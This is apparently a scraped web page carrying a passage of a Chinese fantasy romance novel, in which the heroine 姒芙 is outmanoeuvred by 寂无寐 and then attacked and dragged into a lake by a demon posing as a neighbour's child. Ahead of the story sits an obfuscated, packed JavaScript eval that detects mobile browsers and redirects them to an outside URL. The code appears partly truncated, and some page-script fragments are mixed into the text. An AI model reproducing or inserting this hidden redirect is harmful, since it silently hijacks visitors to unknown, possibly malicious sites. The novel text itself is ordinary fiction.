;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404310|197838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,依旧未移开,姒芙如芒在背,本想负气离开,回头一想这行径跟“姒芙”如出一辙。 眼珠儿一转,计从心来,遂改口道:“不过我性子豁达,不跟你计较,寂道友既然嫌弃,在下就无需日日为你做饭,正好省些米面钱。” 说她做的饭难吃,那就正好趁机将这破事推掉! 寂无寐半垂下眼,眸光好似黯然了一瞬,随即低声应道:“方才是寂某言辞不当,叫何小弟生气了,寂某与你道个不是。” 姒芙气顺了,又反应过来他怎么对她改了称呼,怎么叫得更亲近了? “小弟心性豁达,想必不会计较寂某失言之罪?”他骤然变得异常诚恳,那双真诚的眼神,竟一时叫她不知怎么发脾气。 “当……当然不会。” “也不计较寂某唐突之举?” 姒芙牵强一摆手,“自……自然也不会……” “那……”他拉长了声调,一抬头哪里还有什么黯然之色,“何小弟果然生性豁达,既然小弟不计前嫌,那寂某不客气,继续麻烦何小弟了。” 她一愣,兀自挣扎道:“寂道友何必勉强,每日食用不合口的饭菜,岂不是为难自己?” “不勉强,毕竟都是何小弟辛劳的成果,寂某不挑的。”他略一抱拳,道歉的态度非常真挚,“方才是寂某失言,自愧不如,应当学习何小弟的大度。” 他给她戴高帽,完全不留拒绝的余地。姒芙顿时气结,都怪她嘴碎,说什么不好,偏说了个“生性豁达”! 她执意想拒绝,看着寂无寐似笑非笑的神色,忽然反应过来,他是知道她不情愿,却借此反将一军。 就这么几句话的功夫,她又被他摆了一道! 不对,是两道! 这个黑心肝的,先是说她举止反常试探她,扰乱她心智,再激怒她引她露出破绽,她合理应付,不想他最后反客为主,试探未果便让她继续心甘情愿当牛做马! 他试探是真,她只考虑不能跟做出与“姒芙”一样的反应,结果却搬起石头砸了自己的脚! 姒芙忍住掀桌的冲动,深吸一口气,牵强一笑,默默踏出厅堂。 她需要透透气。 话已出口,还能怎么办?他一招接一招,被他绕得晕头转向,最后给利用了个干干净净! 她那聪明的脑子,怎么在他面前就不好使了? 入夜,姒芙给他做完饭,端着自己的红烧肉走出宅子,一屁股坐在门前湖边一块大石头上。 她不想再跟他接触。 哪怕他长得秀色可餐,现下见到那张脸也让人食不下咽。 今儿的月色不错,凉风习习,荷浪阵阵,比宅子里舒坦多了。 姒芙狠狠嚼了两口甜腻腻的肉块,凉爽的湖风轻柔拂过,带来缕缕荷香,远眺辽阔的湖景,憋了一整日的闷气总算散了两分。 正吃的高兴,身边突然凑来一人,瞥眼一瞧,竟是隔壁刘寡妇家的小娃儿。 他蹲在脚边,双手撑着头,好奇打量着她。 刘寡妇这儿子名叫小顺,跟她柳眉细眼的容貌不大一样,许是随了前夫,虎头虎脑,双眼大而无神,有几分痴傻。 明明是六七岁的孩童,平日里说话磕磕巴巴,半晌蹦不出一句完整话。 姒芙当时也是知他可怜,觉得刘寡妇也不容易,才会帮那一把。 “你吃晚膳了吗?” 小顺呆呆盯着她,好半晌才微微摇了摇头。 “你阿娘呢?” 他好一阵才听明白,结结巴巴回:“阿娘……不……不在……” 刘寡妇在城外绣访找了份工,偶尔赶工都带着小顺一道,不想今日却把他落在家里。 姒芙想了想,将手里的海碗递给他,没动过的那一边对向他,问:“要不你先对付两口?” 许是闻到红烧肉的香气,他牵着嘴角生硬地笑了笑:“香……香……” 姒芙满意了,自豪道:“我烧肉的手艺一绝,自然香,你若喜欢就多吃两口。” 小顺依旧重复念叨着;“香……真香……呀……” 姒芙见他不动,只好亲手夹起一块,往他眼前凑了凑:“张嘴。” 他看向她的手,无神的双眼顿时闪过一抹慧光,呆傻笑容拉出诡异的弧度。 不待姒芙反应,一张小嘴忽而裂开到耳垂,大口一张,里面三排尖牙瞬间咬向她的双手。 惊变陡生,姒芙下意识旋身一躲,“小顺”又向她猛扑过来,一口咬住她的衣角,喉咙里发出兽一般的低呜。 姒芙惊异看着死咬她不放的瘦小身影,这哪是人? 分明是只妖! 他披了一身人皮,姒芙一时没看出是什么妖,当机立断划破衣角,一脚将他踢入湖中,转身就向宅子里跑。 忽见寂无寐不知何时靠在宅门前,抱臂笑望着她。 “你知道他是妖?” 寂无寐未回,老神在在,姒芙顿时来了气:“知道还袖手旁观?” “一个三阶的小妖,城内巡防便可收拾,何须我来出手?” “都这个时候了,你还端什么架子!”姒芙一边指责,一边向街口的巡妖楼跑去,不再指望他。 然而没走两步,脚下一疼,垂眼一瞧,那小妖跟游魂一样无声无息又爬了回来,一口咬住她的脚脖子。 姒芙猝然一惊,还未来得及呼救,“哗啦”一声被妖拖入湖中。 它速度飞快,似一条灵活的鱼,拉着她从湖面急速划过。 湖水飞溅间,她见寂无寐不紧不慢跟到湖边停了下来。 他远远眺望着她,嘴角缓缓勾起一丝意味不明的笑。